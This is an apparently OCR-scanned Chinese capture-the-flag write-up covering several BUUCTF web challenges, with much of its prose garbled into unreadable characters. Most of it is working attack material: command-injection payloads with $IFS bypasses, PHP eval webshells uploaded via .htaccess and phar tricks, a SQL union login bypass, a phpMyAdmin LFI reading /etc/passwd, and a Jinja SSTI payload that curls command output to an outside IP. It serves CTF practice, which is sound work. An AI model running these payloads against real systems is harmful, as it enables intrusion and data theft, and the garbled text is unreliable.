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Ping Ping Ping

HANEH G, 8T /2ip=, TRMESH 2ip=1 KE, KIZHIAT T pingfin 2

/?ip=
PING 1 (0.0.0.1): 56 data bytes

HIEE=EW

?ip=;1s

/?ip=

flaz. php
index. php

RIVRIPAT T #4210 flag.php B, RIS T 25k, S FHOFF g R

${IFS}
$IFS$9
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fEFHEE A $1Fs$9 B T IhSRid, AT ?ip=;cat$IFS$oflag.php , KN flag agidy 7, HIBECRT * AL UE T, B
A1 —T index.php :

/?p=

"?1—

VI IO NN IV 77, $ip, $mateh)) |
echo preg_match (" A& [V VT vk 0V Dy {003 Nk 2200 P> 1Y IV IV INC INDIND INVER /7, $ip, 3mateh)
die("fick your symbol!”™):

} else ifipreg match(”/ /7, $ipi){
die("fick your space!”):

1 else iflpreg match(” fbashf Fiphi {
die("fick your bash!™);

1 else iflpreg match (/. #f. *1. *a. *g. /" Fip)) |
die("fuck your flag!™);

}
$a = shell exec("ping -c 4 7. $ip):
echo ”

i

Iprint_r($a);

}

W

R LLE I3
i, BB IE T IR S . B Aflag, N IEA PR T G .

(1) ATRMERAZ R Rokget, REf 1L a. g WANFRALEIRFEI A, payloadin -

?ip=;z=g;cat$IFS$9flasz.php

(2) TATKIARIS A g/ 515, B4 AN ERAT Ar 4, B [ 515 AT 1% A D8 3 — AN e 2 A AT, payload
R

?ip=;cat$IFS$9  1s”
flag eV AL -

[ip=

<prerx<iphp

$flaz = “flag (0436 cdB8-dBad-4305-8545-Effc203185a6] 7,
P

2 LBk

HHEF K gititt#, FFH GitHacks 2lindex. php s g U1 T -



<?php
include "flag.php";
echo "flagfEWfHIE? <br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(";"' === preg_replace('/[a-z,_ ]+\((?R)?\)/", NULL, $ _GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $ _GET['exp'])) {
// echo $ GET['exp'];
@eval($_GET['exp']);

¥
else{
die("ibZ=— &Mk ");
¥
¥
else{
die("FUfigAaAEL ");
¥
¥
else{
die("itAHiflag, RAH! ");
¥
¥
// highlight_file(__FILE );
?>

A BT YEH AT AR R KT PHP MBS HRCE/SL M, nI A2 i3 1) ByteCTF_2019 BoringCode
JESET UE H flag.php BEFE 40T H 3¢, ATHEERBEE H%, T2 H 4 T payloadd|— T 3044

?exp=print_r(scandir(pos(localeconv())));

flagfEMEH e ? <br>Array

(
[0] = .
[1] => ..
[2] => .git
[3] => flag.php
[4] => index. php
)

X H fflag.php MER G —4> FTUAAREEByteCTRIR— @l —#F B end() B, HERX —BUFAEENUL _, T2
BAETE G IN T .

BATTLMER array_reverse() BREURFEEA, XAFE flag.php MESE MU E T, SAEMH next() HZRITTELE], payload
mnr:

?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));

flagfEME ¥ e ? <br><?php
$flag = "flag{9c105b09-75fc-4a58-h5a8-97de2f8e3c32} ”;
>


https://blog.csdn.net/qq_42181428/article/details/100659865

BabySQli

BEF IS, R 2 AT URILAFAE admin K5, BZ2 il i A Gk admin kS, [FIRG2—BRR, Yobase32fibase644r

T

select * from user where username = '$name’

FRRITIREE RS, AP IE T, BRI T A IsqiE A, A 2 R EAREsqiE ARG, TR

WG 4B HEB 58 $user = select * from user where username = '$name’;

SRJGHIMT: $user->password === md5($password);

IF HamitunionBt &y AN A 3%, 55N id,username, password , T2 LAl payload:

name=-1' union select 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b "' #&pw=1

EHERER R AL, BEEHEE R EmEAIER 1, 'admin', 'c4cas238a0b923820dcc509a6F75849b" , IFLT
ot L B BOE FE AR R =41, Wi T — AN S el adminf R [E] . IX B mdSE S bR bt R B AT S TH A SR HE R AT

#1%. (md(1)=c4ca4238a0b923820dcc509a675849b)

MITSEIL TAE R E 5%, 7] L5 Flflag:

POST /search.php HTTP/1.1

Host: ¢d512498-6bb9-4139-b597-449bc 5465948.node3.buuoj.cn

Content-Length: 72

Cache-Control: max-age=0

Origin: http://cd512498-6bb9-4139-b597-449bc 5465948.node3.buuoj.cn
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/80.0.3987.116 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/si
gned-exchangev=b3;q=0.9

Referer: http://cd512498-6bb9-4139-b597-449bc 5465948.node3.buuoj.cn/

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: _ga=GA1.2.1037161273.1582011531

Connection: close

name=-1" union select 1,'admin’,'c4ca4238a0b923820d cc509a6f7 5849b'# &pwi=1

BabyUpload

BENEH G, BfEE A BT, 2 P

o iIyE TMIMEHEEN: image/jpeg
o My kTSR E A BE Nphp

'
7

HTTP/1.1 200 OK

Server: openresty

Date: Wed, 19 Feb 2020 16:25:42 GMT
Content-Type: text/html
Content-Length: 258

Connection: close

Vary: Accept-Encoding
X-Powered-By: PHP/5.3.29

<!--MMZFM422K5HDASKDN5STVU3SKOZRFGQRRMMZFM6KJ)
->

<meta http-equiv="Content-Type" content="text/html; charse
<title>Do you know who am 12 < ftitle>

flag{efd57d46-e0f5-4312-bc3f-b06f60d02b17}

33N

o Ik XA EFKIphphtsZs, FILAHH] <script language='php'></script> 53id



TRIAMES MIME 4% htaccess SCfF:

U RO
hrome/80.0.3987.116 Safari/537.36

weept:

axt/html,application/xhtml+xml, application/xml;q=0.9,image/webp,image/apng,*/*,q=0.8,application/signed-exchange

1=b3,q=0.9

eferer: http://16508403- 152b-488b-a02c-17b5ab81be54.node3.buuoj.cn/

wcept-Language: zh-CN zh;q=0.9,en;q=0.8

‘ookie: _ga=GA1.2.1037161273.1582011531; PHPSESSID=7d9058e7231d7acf99010037b60efd6f

‘onnection:

close

————— WebKitFormBoundary 5fuzYmsvTdQFOGKS

‘ontent-Disposition: form-data; name="uploaded"; filename="_htaccess"

‘ontent-Type: image/jpeg

~

FilesMatch "shelljpg" >

SetHandler application/x-httpd-php
[FilesMatch>

----- WebKitFormBoundary 5fuzYmsvTdQFOGKS
ontent-Disposition: form-data; name="submit"

----- WebKitFormBoundary 5fuzYmsvTdQFOGKS--

SRJ5 A% shelljpg Wik :

CIHHUIIE OU.U.DT0 1. 11U Dalally 221.00

Accept:

text/html application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng */*;q=0.8,application/signed-exchange

v=b3;q=0.9

Referer: http://16508403-152b-488b-a02c-17b5ab81be54.node3.buuoj.cn/

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: _ga=GA1.2.1037161273.1582011531; PHPSESSID=7d9058e7231d7acf99010037b60efd6f

Connection: close

—————— WebKitFormBoundary BYkNJtzrn M BhX5hc

Content-Disposition: form-data; name="uploaded"; filename="shell.jpg"

Content-Type: image/jpeg

<script language="php' > @eval($_GET[cmd']);</script>
—————— WebKitFormBoundaryBYkNJtzrn M BhXShc
Content-Disposition: form-data; name="submit"

A et s e aan s vy s

ey e b b wen s o v e

Pragma: no-cache
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.23

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Upload«< /title>

<form action="" method="post" enctype="multipart/form-data”>

& <input type="file" name="uploaded" />

<input type="submit' name="submit" value="_t{%" />

rragina. nu-tacne
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.23

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Upload«< /title>

<form action="" method="post" enctype="multipart/form-data" >
HEX#<input type="file" name="uploaded" />

<input type="submit" name="submit" value="_{Z" />

</form = /var/www/html/upload/559352eb04c25fb3eb931b140e03e53a/.htaccess succesfully uploaded!

</form>/var/www/html/upload/559352eb04c25fhb3eb931b140 3a/shell.jpg

VE: X H M _EA Rwp B I S SE 4, (R AR buu E R I  REF B AT

PIANSCA A% e A5 AT LR i I AT AR -

Php

ince

ILr -

System Linux 20690523123 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 xB6_64

Build Date Jul 14 2016 01:18:27

Configure Command *feonfigure’ '--with-config-file-path=/usr/local/etc/php' "--with-config-file-scan-
dir=/usr/localfetc/php/confd' '--with-apxs2" '--disable-cgi' '--enable-mysgind' '--enable-mbstring --
with-curl' '--with-libedit’ '--with-openss|' '--with-zlib’

Server APl Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path fusrflocal/etc/php

Loaded Configuration File

fusr/local/etc/php/php.ini

Scan this dir for additional .ini files

fusr/local/etc/php/conf.d

Additional .ini files parsed

fusrflocal/etc/phpfconf.d/99_timezone.ini, fusr/local/etc/php/conf.d/docker-php-ext-mysqgliini,
fusrflocal/etc/phpfconf.d/docker-php-ext-pde_mysqglini, fusrflocal/ete/php/conf.d/docker-php-ext-

pdo_pgsglini

PHP API 20131106
PHP Extension 20131226
Zend Extension 220131226
Zend Extension Build API220131226,NTS
PHP Extension Build API20131226,NTS
[
Memory Security Application Audits EditThisCookie HackBar

Xss - LFI - SSTI - ENCODING ~ HASHING ~

23.buuoj.cn/upload/559352eb04c¢25fb3eb931b140e03e53a/shell.jpg?cmd=phpinfo();

1t disabled_functions 4R | RSt ekEL, M AFRMTER S EF 7, Jedl Hx:



?cmd=print_r(scandir('/"'));

S

?cmd=readfile('/flag');

flag{f273b206-91ca-4¢c88-a822-5a2c542350b3}

[w ﬂ Elemants Console Sources Network Performance Memory Security Application Audits EditThisCookis HackBar

LOAD SPLIT EXECUTE TEST -~ sqLr -~ XSS -~ LFI ~ SSTI ~ ENCODING -~ HASHING ~

URL
http://16508403-152b-488b-a02c-17b5ab81be54.node3.buuoj.cn/upload/559352eb04c25th3eb931b140e03e53a/shell. jpg?cmd=readfile(/flag’);

BabysqliV3.0

B RE—AES, %Y admin/password BRI &5, EFEFUT:
LHIS5|FERYE upload.php
ST SR A TS

Hurl ?file=upload &%, TS

?file=php://filter/convert.base64-encode/resource=upload

53 upload.php JEfG T :

<?php

error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;

function __ construct(){



$sandbox = getcwd()."/uploads/".md5($_SESSION[ ‘user'])."/";

$ext = ".txt";

@mkdir($sandbox, 0777, true);

if(isset($_GET[' ']) and !preg _match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ //phar
$this->Filename = $_GET['name']; // X /F#5 4%

¥
else{
$this->Filename = $sandbox.$ SESSION[ 'user'].$ext;
¥
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $ SESSION[ 'user'];
¥

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[~a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file[ 'size'] > 1024){
$this->cmd = "die('you are too big ('V 7)");";
}

else{

$this->cmd = "move_uploaded_file('".$file[ "tmp_name']."", . $this->Filename . "');";
¥
¥

}

function _ toString(){

global $sandbox;

global $ext;

// return $sandbox.$this->Filename.$ext;
return $this->Filename;

function _ destruct(){
if($this->token != $_SESSION[ 'user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
¥
¥

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo " NHZMR AL <br>".$uploader. "<br>";
echo file_get_ contents($uploader);
¥
¥

?>

filik— CEBUM



if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $ GET['name']; // X /}# aj#%

telse{

$this->Filename = $sandbox.$ SESSION[ 'user'].$ext;

)i

Eatﬁﬁ’]ﬁ’a‘%Tu%iUITbF%ﬁaﬂ]reTul_Lname’%ﬁlﬁé]\ﬂ’] BRI E, (HRRX IR S R 1, # 2 LR 1A
1%, BFTUASE T IAR TR, BT AR

o — Pl & B4 b Akshell, SRJ5 0 2 Hiname B SOLIF 4 i php SO, B4V ) RI T

fhome php?file=upload&name=/var/viww/html/uploads/a612708904bbb538e05fedecade62126/shell.php Server: openresty
HTTP/1.1 Date: Thu, 20 Feb 2020 10:54:58 GMT
Host: febfbc08-1f45-4bd7-bdff-1169ee45e4d2.node3.buuoj.cn Content-Type: text/html; charset=UTF-8
Content-Length: 305 Content-Length: 502
Cache-Control: max-age=0 Connection: close
Origin: http://febfbc08-1f45-4bd7-bdff-1169eed45e4d2.node3.buuoj.cn Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Upgrade-Insecure-Requests: 1 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKbrfFQiY LZAtsDsO Pragma: no-cache
User-Agent: Moxzilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecka) X-Powered-By: PHP/5.6.40
Chrome/80.0.3987.116 Safari/537.36
Accept: <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Home -« /title > Z§ij5| AR uploa
text/html.application/xhtml+xml.application/xml;q=0.9,image/webp.image/apng,*/*;q=0.8,application/signe http-equiv="Content-Type" content="text/html; charset=utf-8" />
d-exchangev=b3;q=0.9
Referer: http://febfbc08-1f45-4bd7-bdff-1169ee45e4d2.node3.buuoj.cn/home.php?file=upload <form action="" method="post" enctype="multipart/form-data">
Accept-language: zh-CN,zh;q=0.9,en;q=0.8 HEXE
Cookie: _ga=GA1.2.1037161273.1582011531; PHPSESSID=f462d84ee3291d4c296ce2a56a829ead <input type="file" name="file" />
Connection: close <input type="submit" name="submit" value="_t{Z" />
</fform>
—————— WebKitFormBoundaryKbrfFQiYLZAtsDsO
Content-Disposition: form-data; name="file"; filename="asd" THEER EERE: <br>/var/www/html/uploads/a612708904bbb538e05fe4ecaBe62126/shell.php <br><7ph
Content-Type: image/jpeg @eval($_GET[cmd]); ?>
<?php @eval($_GET[cmd); 2>
—————— WebKitFormBoundaryKbrfF QiYLZAtsDsO
Content-Disposition: form-data; name="submit"

LIEE

?cmd=system('cat ../../flag.php');

<?php
$flag = "flag{3f6d695e-55d5-43al-bbda—57ef7db546f8} " ;
?>

itk — (phark F%4k)
SR b AT R T AR A 18 S phar SO BIAL, ka2 R A T file_get_contents() Bk ST AL o

file_get_contents() HREMIZHUE Uploader() KI— MG, FIHAEANSHETSWHER _ toString() 772 MM [H
$this->Filename , TMiX4~ Filename J&FATAIEEM,

Y R B EAE SR BRI SCAF 442 F $_SESSION[ 'user' ] W&, KULIRAIBER A& —ASCfhain] LA7S BltokenifIfE 1 .

JEIAS G0



<?php

class Uploader{
public $Filename;
public $cmd;
public $token;

function __ construct(){
$this->cmd = "readfile('./flag.php')";

$this->token = "GXYc9a4bf152e1373381102b95a44014968";

$o =
$phar =

new Uploader;

new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php _ HALT_COMPILER(); 2>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

FA3 2 phar U IF EAE 1S 2 #54%:

POST /home php?file=upload HTTP/1.1

Host: 44d716ee-5d3b-40c2-97ab-177e9b%94af46.node3.buuoj.cn

Content-Length: 545

Cache-Control: max-age=0

Origin: http://44d716ee-5d3b-40c2-97ab- 177e9b94afd6.node3.buuoj.cn
Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary = ----WebkKitFormBoundaryp5yFHcoUGpkm53T4
User-Agent: Moxzilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko)
Chrome/80.0.3987.116 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*,q=0.8 application/signed-exchange
w=b3;q=0.9

Referer: http://44d716ee-5d3b-40c2-97ab-177e9b94af46.node3. buuoj.cn/home.php?file=upload
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: _ga=GA1.2.1037161273.1582011531; PHPSESSID="5d40f5ddd 16fcd8e9bdbe61df1041029
Connection: close

—————— WebKitFormBoundaryp5yFHcoUGpkm53T4
Content-Disposition: form-data; name="file’; filename="phar phar"
Content-Type: application/octet-stream

<?php _HALT_COMPILER); 7>
00000000000000000000000:8:"Uploader”:3:{s:8:"Filename™;N;s:3:"cmd";s:21:"readfile( flag.php');";s:5:"token";s:25:"G
XYc9a4bf152e1373381102b95a440f4968";}10000 test.txt0000\ON~00000~ FRAO000000testM.0BOMQOO$L 000
#E00000GBMB

------ WebKitFormBoundaryp5yFHcoUGpkm53T4

Content-Disposition: form-data; name="submit"

IRIG TR IR _EAL SO N B 2% name AT BRi%phark 57 4144 -

3

HTTP/1.1 200 OK

Server: openresty

Date: Thu, 20 Feb 2020 12:50:03 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 752

Connection: close

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

X-Powered-By: PHP/5.6.40

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Home-</title>28j3| FIRGR
upload.php<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<form action="" method="post" enctype="multipart/form-data" >

s
<input type="file" name="file" />
<input type="submit" name="submit" value="_t{=" />
<[form>
TERF SR : <br>/var/www/html/uploads/d30adfbaedd41fal 1¢8¢771d9/GXYc9a4bf152¢13733

81102b952a440f4968.txt<br><?php _HALT_COMPILER(; 7>
00000000000000000000000:8:"Uploader™:3:{s:8:"Filename ";N;s:3:"cmd ";s:21: "readfile('flag.php); " s:5: "token
" 5:35:"GXYc9a4bf152e1373381102b95a440f4968 *; 0000 test. txtOOOO\IN ~ 00000~ O0000000testM.0BOOOQO[
0$00000S00000GBMB

POST

/home.php?file=upload&name=phar:///var/www/html/uploads/d30adfbaedd41fale598a9adc8c771d9/GXYc9adbf152e

13733811 02b95a440f4968.txﬂ HTTP/1.
Host: 44d716ee-5d3b-40c2-97ab-177e9
Content-Length: 545

Cache-Control: max-age=0

Qrigin: http://44d716ee-5d3b-40¢2-97ab-177e9b94af46.node3.buuoj.cn
Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=----WebkKitFormBoundarypSyFHcoUGpkm53T4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecka)
Chrome/80.0.3987.116 Safari/537.36

Accept:

f46.node3.buuoj.cn

text/html.application/xhtml+xml.application/xml;q=0.9,image/webp.image/apng.*/*q=0.8 application/signed-exchange

v=b3;q=0.9

Referer: http://44d716ee-5d3b-40c2-97ab-177e9b94af46.node3.buuoj.cn/home.php?file=upload
Accept-Llanguage: zh-CNzh;q=0.9,en;q=0.8

Cookie: _ga=GA1.2,1037161273.1582011531; PHPSESSID="5d40f5ddd16fcd8e9babe61df1041029
Connection: close

[x HTTP/1.1 200 OK

N )

Server: openresty

Date: Thu, 20 Feb 2020 12:50:27 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 437

Connection: close

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache

X-Powered-By: PHP/5.6.40

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Home < /title> i
upload.php <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<form action="" method="post" enctype="multipart/form-data” >
HEXH
<input type="file" name="file" />
<input type="submit" name="submit" value="_{Z" />

<fform>
------WebKitFormBoundaryp5yFHcoUGpkm53T4
Content-Disposition: form-data; name="file"; filename="phar.phar" <?php
Content-Type: application/octet-stream $flag = "flag{898b26a7-bf17-464e-b61d-aa5c9basdfcd)”;
?>
<?php __HALT_COMPILER(; ?>
00000000000000000000000:8:"Uploader":3:{s:8:"Filename";N;s:3:"cmd";s:21:"readfile( flag.php");";s:5:"token";s:35:"G

XYc9a4bf152e1373381102b95a440f4968";0000test. txtDO0O\ON~ 00000~ FEO000000testM.OBOKFQOO$ L1000

#00000GBMB
—————— WebKitFormBoundaryp5yFHcoUGpkm53T4
Content-Disposition: form-data; name="submit"




StrongestMind
BEAN DU fE, AR A
£ 0 RekThif
gE—Freaflagh
57946023 + 75481211

Answer

BRGEGDAIEL —TIRIETRE S, BAIT:

import requests
import re

s = requests.Session()
url = "http://289777ed-2c71-46ec-ad64-00ba9fOb09e6.node3.buuoj.cn/index.php"

r = s.post(url)

count = @
while count != 1001:
expr = re.search(r"(\d+)( \+ | - )(\d+)", r.text).group()

answer = eval(expr)

data = {"answer": answer}

while True:
r = s.post(url, data=data)
if r.status_code == 200:

break
count = count + 1
print(count)
print(r.text)

th ] FHWhile 30 >k 32 52 1% 3K /2 [ 7 BUUCTF V& LI, 3R — B TADgl 43 [0l — R 40445 4R .. IR AR 1% 50 I BEIX B

ZURINT

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<titlere«aketle>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><center style="margin-top:360"'>
C
“<ftitle>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><center style="margin-top:360"'>

<br>bingo!<br><br>¢-- 1001 &-ja&,<br>¢--d_ &#-jc»Tlagh|<br><br>61204795 + 82895461<br><br><form action="index.php" method="post"><ir
t" name="answer" placeholder="Answer" required></form><br><br>Congraduations! flag{c@7ababl-d7c1-4198-8fa2-bbd0461c95eb}

GWCTF 2019
A —ABod e

HH FETLLR I phpadmin, £id48%, XHEZCVE-2018-12613, 7] LA E #248 Fvulhub # ffpoc:
https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md



/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../etc/passwd

phpMyAdmin
RElOIIHES
i ESTE 22

) information_schema

1 test

G EBEEE: mysql:3306
@ Mg | L] sOL | @ 5 B S| B BA | S B | o) E=E | =

rootze0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:zc2:2:bin:/bin:/usr/sbin/nelogin sysa3:3:sys:/devifusr/sbin/nologin syncaed:65534:sync:/biny/bin/sync
games:c5:60:games:/usr/games:/usr/shin/nologin manx:6:1 2:iman:/var/cache/man:/usr/skin/nologin
lpoc?:Tilp:fvar/spool/lpd:/usr/shin/nologin mailxc8:8:mail:/var/mail:/usr/sbin/nologin
news:ze9:9:news:var/spool/news:/usr/sbin/nologin uucpix:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:c13:13:proxy:/bin:fusr/shin/nologin www-data:x:33:33www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:fvar/backups:/usr/sbin/nologin listx:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin ircx:39:3%ircd:/var/run/fircd:/usr/shin/nologin gnatsx:41:41:Gnats Bug-
Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody::65534:65534:nobody:/nonexistent:/usr/shin/nologin _aptx:100:65534:/nonexistent:/usr/sbin/nologin

g

SHE

v BE

RIS, AR )E EAR SR H 3 T fiflag, BT

phpMyAdmin
fEle0He
IR |

%:_-J information_schema
* 1 test

Ty ik S

i  Cf ESSEE: mysql:3306
[ g L] saL | @ #= = 8
flag{3242df83-caTc-42ch-b371-2b002c3429be]

E 8\ &S BE o EE E=E FHE v B3




HENEHE G, 75, s UEar LUE 245 8% Kki% i check.php, D5la1 U0 T :
cts/Txkr1O

<iphp

TR E AR 9TE]

header ("Content—Type: text/html;charset=utf-87);
zesgion start()

if (lisset (§_SESSTON[ seed 110 {

b SESSION[ seed’ ]=rand (0, S99959955)

!
mt_srand($_SESSION[" seed’ ]):
fztr_longl = “sbedefghiiklmnopgrsturwryz0123456 T89ARCDERGHI TELMNOPQRSTIVWITL ™
fatr=""
$lenl=20;
for ( $1 = 0; $i < $lenl; Fi+ 3
Pztr. =subsztr ($=tr longl, mt rand(d, strlen(fstr longl) - 1), 1)
!

fztr_show = substr($str, 0, 10);
echo “dp  1d="pl’»". batyr_show. "/pr”;

if (1zset (3_POST[ rum’ 107 {
if (5_POST[ rum’ 1=%=ztx) {x
echo  “<p  id=flagrifide, FiEdfAibiEE I, 25{Rflas Do} 007
}

elze]

1

echo “<p  1d=flag»E3RrPmE, Bl /pe;
}

show_source (“check. php™) ;

ARA5 - BIX B2 php (K BEN LS R T8, 2%2018SWPUCTF(f)—/8l: https:/xz.aliyun.com/t/3656#toc-3
S AN BIA B e B AL :

strl="abcdefghijklmnopgrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ "
str2 = "aefhPEHpRX"'
res = "'

for i in range(len(str2)):
for j in range(len(strl)):
if str2[i] == stri[j]:

res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(strl)-1) + ' '
break

print(res)

(S

000614406155 0617 7061515106140 400 61 43 43 0 61
15 15 @0 61 53 53 @ 61 59 59 0 61



SR i HE tHphp-mt-seed T ., #EATHBEBRN U0 T -

] # ./php mt seed @ D @ 61 4 4 B 61 55 06 61 7 7 0 61 51 51 @
61 40 40 @ 61 43 43 O 61 15 15 O 61 53 53 @ 61 59 59 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-
62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying OxfcOOBEOO - Oxffffffff, speed 1846.2 Mseeds/s
Version: 5.2.1+
OxB2000000 *OxO3Tfffff, speed 93.2 Mseeds/
b 5 027 (PHP 7.1.0+)

Oxfe@OOOOO - éxffffffff, speed 83.3 Mseeds/s

SR FE AT 2 722 R H b R BB LE R AT

<?php
mt_srand (50222027
$str_longl = "abcdefghijklmnopgrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVIWXYZ"
$str = "
$lenl = 20
for ($i = 0; $i < $lenl; $i++
$str .= substr($str_longl, mt_rand(0, strlen($str_longl) - 1), 1

echo $str

2, HEIPLFHRETR, 4{Rflag{Oeaba77e-3269-4290-9353-dc43c4c0c4ch}/p> ".$str_show."
" if(isset($_POST['num))} if($_POST[numT===%str){x echo "2, FEIPATIEETEE, 5{Rflag{oooaxxxxx}
Yo} else{ echo "JiPE, FHifidit

",

} } show_source("check.php");

%%%%iﬁ?iﬁ(d\—%%ﬁ??). EheE20/UElaghEEIEM, (FAINMABET
—EpoE:

aefhPEHpRX

aefhPEHpRXOxsU4yJKms B!

NGRS


http://www.openwall.com/php_mt_seed/

N H JEAN S ST, BAREindex phpH#s ., (HJE MR AL AT LA H 2 pythonff) fG i, AR AEZSSTI T -
A= EEE 40 =
SRR REVR =)

1443 Lethe 1Rz

hello Lethe!

S, T {3, REMEA S, BRI (%) iER, ARBAMEEEE, R iEpayloadln T -

% if ''. class__ . _mro_ [2]._ subclasses_ ()[59]. init . globals_ ['linecache'].os.system('$#ATHIm4") %}1
% endif %

RTINS, if. os. class. mro XUESCHIA S B NS, KI config Wi B NS, XA AT DU
H iconfigf . oconfigs M7k T8ed, FATA] LAF H curldy 2B H AT 45 Byt (FEBUUCTF B — & N N I =01k #5
), payloadlil -

{% iconfigf ''._ clconfigass__._mconfigro_ [2].__subclaconfigsses_ ()[59].__init_ . globals_ ['linecache'].oco
nfigs.system('curl http://174.0.225.32/2?a="1s \|base64 ') %}1{% endiconfigf %}

root@@e32719429e8: /var/www/html# cat res|base6d -d

5% J5 P eflag BV T

{% iconfigf ''._ clconfigass__. mconfigro_ [2].__subclaconfigsses__ ()[59]._ _init . globals_ ['linecache'].oco
nfigs.system('curl http://174.0.225.32/?a="cat /flag_1ls_Hera|base64 ') %}1{% endiconfigf %}

root@@e32719429e@: fvar /www/html# cat res|basecd -d

lag{ddcB854@86-0dd7-4399-9f43-082de9d88df26}




BENEH &, SEEM MK S IR

GWHT Index

HICERBEH TIRIEE, EAZTRREANT, XEFERIBEALE

HEMNIIRE, {EFeedBack T #2458 S S AIFEList i 51 H JF &7 RS HI S5t (Listil i AR HIdZHL, (H MRS M52
s FIWIFESQLIEN) .

fEFeedBack it i A A IifY, W LA 40T HEos:

if(is_array($feedback)){
echo "<script>alert('RUWAGIL");</script>";
return false;
)i
$blacklist = ['_","\""','&","\\','#','%", "input’, "script’, 'iframe’, "host', 'onload', 'onerror', 'srcdoc', 'location’,
'svg', 'form', 'img"', 'src’', 'getElement', 'document', 'cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
telse{
break;

}

—

HUE TIRZ 5, HERZENK, Zad Bk SR F AL, BI7ECHE A A 4d A cookieff fT4%id, 4nf#iH scricookiept &%
it script At €.



Tt B IUE P il Cookie, (EIEAKIMAFECSP, ARESINSIET]s:

® Refused to load the script 'http://xss.buuoj.cn/VE8iWp' because it violates the following Content Security
Policy directive: "script-src ‘unsafe-inline’ ‘self’". MNote that 'script-src-elem” was not explicitly set, so 'script-src’ is

used as a fallback.

T RAEF fslogin,.s 1

[« loginjs x

1 if (document.cookie && document.cookie != "") {

2 var cookies = document.cookie.split('; ");

3 var cookie = {};

= for (var 1 = @; 1 ¢ cockies.length; i++) {

5 var arr = cookies[i].split('=");

6 var key = arr[@];

7 cookie[key] = arr[1];

8

E] if(typeof(cookie[ user']) != "undefined” && typeof(cookie[ 'psw']) != "undefined"){
1@ document.getElementsByName ("username”)[@]).value = cookie['user'];

=
=

document.getElementsByName ("password”)[@].value = cookie['psw'];

i
P

13}

content.php:1

